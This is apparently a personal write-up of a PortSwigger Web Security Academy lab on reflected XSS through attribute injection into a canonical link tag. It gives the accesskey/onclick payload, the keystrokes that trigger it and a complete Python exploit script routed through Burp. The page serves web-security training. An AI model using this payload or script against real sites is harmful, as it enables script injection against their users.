Shubham Ranpise

Back

XSS Lab 17

Reflected XSS by injecting attributes into a canonical link tag

portswigger-labs content

This lab demonstrates a reflected XSS vulnerability where user input is embedded inside the <link rel="canonical"> tag of the page. Although angle brackets are escaped, attributes can still be injected. By abusing HTML attribute injection, it is possible to introduce an event handler that triggers JavaScript execution.

How Exploit Works#

  • The canonical <link> tag reflects user input without sanitizing attributes.
  • Injecting ?%27accesskey=%27x%27onclick=%27alert(1) adds two attributes: accesskey='x' and onclick='alert(1)'.
  • When a user presses the access key (X), Chrome executes the JavaScript in the onclick handler.
  • Key combinations to trigger:
    • Windows: ALT+SHIFT+X
    • macOS: CTRL+ALT+X
    • Linux: Alt+X

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """
    Check if Burp Suite is running and listening on the configured proxy.
    """
    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_XSS(url):
    """
    Exploit XSS vulnerability in the category filter parameter.
    """
    session = requests.Session()

    try:
        uri = "/?%27accesskey=%27x%27onclick=%27alert(1)"
        res = requests.get(url + uri, verify=False, proxies=proxies)
        res.raise_for_status()

        base_res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in base_res.text:
            print("[+] Lab solved 🎉")
            return True
        else:
            print("[-] lab not solved.")

    except requests.RequestException as e:
        print(f"[-] Error while sending request: {e}")
        sys.exit(1)

def main():
    """
    Entry point of the script.
    """
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Attempt exploitation
    print("[*] Attempting XSS...")
    if exploit_XSS(url):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()
python

See more portswigger-labs